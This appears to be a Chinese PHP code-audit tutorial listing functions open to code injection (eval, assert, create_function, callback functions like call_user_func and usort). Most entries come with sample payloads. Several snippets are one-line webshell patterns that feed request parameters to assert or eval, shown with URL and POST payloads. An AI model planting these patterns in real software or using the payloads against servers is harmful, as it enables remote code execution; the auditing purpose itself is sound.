php代码审计入门(二)——危险函数篇之代码注入
本文仅作学习记录,如有侵权,请联系删除!
代码执行:
-
eval()
将传入的字符串当作 PHP 代码来进行执行
自 PHP 7 开始,执行的代码里如果有一个parse error,eval() 会抛出 ParseError 异常。
在 PHP 7 之前,如果在执行的代码中有 parse error,eval() 返回FALSE,之后的代码将正常执行。无法使用set_error_handler()捕获 eval() 中的解析错误
简而言之:PHP5在代码错误格式错误之后仍会执行,而PHP7在代码发生错误之后,那么eval()函数就会抛出异常,而不执行之后的代码
需要注意的是待处理的字符串要符合PHP的字符串格式,同时在结尾处要有分号
-
assert()
检查一个断言是否为 FALSE,它也具有将传入的字符串当作 PHP 代码来进行执行的功能。
语法格式:
# php5
assert( mixed $assertion[, string $description] ) : bool
# php7
assert( mixed $assertion[, Throwable $exception] ) : bool
参数:assertion
在PHP 5 中,是一个用于执行的字符串或者用于测试的布尔值。在PHP 7 中,可以是一个返回任何值的表达式,它将被执行结果用于判断断言是否成功。
参数:description
如果assertion
失败了,选项description
将会包含在失败信息里。
参数:exception
在PHP 7中,第二个参数可以是一个Throwable
对象,而不是一个字符串,如果断言失败且启用了assert.exception
,那么该对象将被抛出
<?php
$code = "system(whoami)";
assert($code);
?>
-
preg_replace()
执行一个正则表达式的搜索和替换
语法格式:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
参数说明:
$pattern
: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement
: 用于替换的字符串或字符串数组。
$subject
: 要搜索替换的目标字符串或字符串数组。
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换
pattern
有一个模式是/e模式,这个模式就会发生代码执行的问题:
/e 修正符使preg_repace()
将replacement
参数当作PHP代码
<?php
$a = $_GET['id'];
preg_replace("/test/e",$a, 'just a test')
?>
注意:preg_replace()
函数在PHP 7 后便不再支持,使用preg_replace_callback()
进行替换了,取消了不安全的\e模式。
-
create_function()
创建一个匿名函数,并返回唯一的函数名称作为字符串或者返回FALSE错误
语法格式:
create_function( string $args, string $code) : string
参数:
$args
声明的函数变量部分
$code
要执行的代码
create_function()
函数在内部执行eval()
函数,所以我们就可以利用这一点,来执行代码。当然正因为存在安全问题,所以在PHP 7.2 之后的版本中已经废弃了create_function()
函数,使用匿名函数来代替。
<?php
$newfunc = create_function('$id', 'return system($id);');
$newfunc('whoami');
?>
create_function()
函数其他用法补充:
<?php
$onefunc = create_function("","die(`type flag.php`);");
$_GET['func_name']();
die();
?>
只需要执行$onefunc
就能得到flag,但是我们不知道这个函数的名称。如果在不知道函数名称的情况下执行函数呢?这里就用到了creat_function函数的一个漏洞。这个函数在creat之后会自动生成一个函数名为%00lambda_%d的匿名函数。%d的值是一直递增的,会一直递增到最大长度直到结束。所以这里可以通过多进程或者多线程访问,从而看到flag
本地测试失败
-
anonymous function(匿名函数)
允许临时创建一个没有指定名称的函数。最经常用作回调函数 callback 参数的值
<?php
$anonymousFunc = function($cmd){
system($cmd);
};
$anonymousFunc('whoami');
-
array_map()
为数组的每个元素应用回调函数
语法格式:
array_map( callable $callback, array $array1[, array $...] ) : array
返回数组,为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给array_map() 数组数量,两者必须一样
简而言之:本来有一个数组,我通过array_map
函数将该数组当作参数传入,然后返回一个新的数组
<?php
$old_array = array(1, 2, 3, 4, 5);
function func($arg){
return $arg * $arg;
}
$new_array = array_map('func',$old_array);
var_dump($new_array);
?>
代码注入利用原理:
通过
array_map()
这个函数,来调用用户自定义的函数,而用户这里的回调函数其实就是system函数,那么就相当于我们用system函数来对旧数组进行操作,得到新的数组,那么这个新的数组的结果就是我们想要的命令执行的结果了
<?php
$func = 'system';
$cmd = 'whoami';
$old_array[0] = $cmd;
$new_array = array_map($func,$old_array);
?>
-
call_user_func()
把第一个参数作为回调函数调用
语法格式:
call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed
callback
:即将被调用的回调函数
parameter
:传入回调函数的参数
<?php
function callback($a){
return system($a);
}
$cmd = 'whoami';
call_user_func('callback',$cmd);
?>
<?php
@call_user_func("assert", $_GET['cmd']);
-
call_user_func_array()
跟函数call_user_func
很类似,唯一的区别就在于参数的传递上,这个函数是把一个数组作为回调函数的参数
语法格式:
call_user_func_array( callable $callback, array $param_arr) : mixed
<?php
function callback($a){
return system($a);
}
$cmd = array('whoami');
call_user_func_array('callback',$cmd);
?>
<?php
$cmd = $_GET['cmd'];
$array[0] = $cmd;
call_user_func_array("assert", $array);
-
array_filter()
用回调函数过滤数数组中的单元
语法格式:
array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array
array
:要循环的数组
callback
:使用的回调函数。如果没有提供callback函数,将删除array中所有等值为FALSE的条目。
flag
:决定callback接收的参数形式
依次将array数组中的每个值传到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
简而言之:该函数过滤调用的函数,而被过滤的是传入的参数
<?php
$cmd='whoami';
$array1=array($cmd);
$func ='system';
array_filter($array1,$func);
?>
-
usort()
使用用户自定义的比较函数对数组中的值进行排序
usort( array &$array, callable $value_compare_func) : bool
array
:输入的数组
cmp_function
:在第一个参数小于、等于或大于第二个参数时,该比较函数必须相应地返回一个小于、等于或大于0的数
代码实例:
<?php
function func($a,$b){
return ($a<$b)?1:-1;
}
$onearray=array(1,3,2,5,9);
usort($onearray, 'func');
print_r($onearray);
?>
执行结果——>
Array
(
[0] => 9
[1] => 5
[2] => 3
[3] => 2
[4] => 1
)
利用代码:
<?php
usort(...$_GET);
?>
payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert
POST传参: x=phpinfo();
那么$_GET
变量中的值,应该是:['$a=0','eval($_POST["x"])'],'assert']
$_GET[0]
是usort的第一个参数
$_GET[1]
是usort的回调函数名
最后相当于:
<?php usort(['$a=0','eval($_POST["x"])'],'assert');?>
适用条件:
php环境>=5.6
另一种用法,经测试适用于php 5.4
<?php usort($_GET,'asse'.'rt');?>
payload: 1.php?1=1+1&2=eval($_POST[x])
POST传参: x=phpinfo();
-
uasort()
对数组排序并保持索引和单元之间的关联,排完序之后,它原来对应的索引也会相应改变,类似于“绑定”。
语法格式:
uasort( array &$array, callable $value_compare_func) : bool
array
:输入的数组
value_compare_func
:用户自定义的函数
官方示例:
<?php
// Comparison function
function cmp($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}
// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);
// Sort and print the resulting array
uasort($array, 'cmp');
print
?>
执行结果——>
Array
(
[a] => 4
[b] => 8
[c] => -1
[d] => -9
[e] => 2
[f] => 5
[g] => 3
[h] => -4
)
Array
(
[d] => -9
[h] => -4
[c] => -1
[e] => 2
[g] => 3
[a] => 4
[f] => 5
[b] => 8
)
排完序之后索引也跟着值的位置变化而变化了
<?php
$a = $_GET['a'];
$onearray = array('Ameng', $_POST['x']);
uasort($onearray, $a);
?>
payload: 1.php?a=assert
POST: x=phpinfo()
$a($b)
动态函数
<?php
$_GET["a"]($_GET['b']);
?>
?a=assert&b=phpinfo()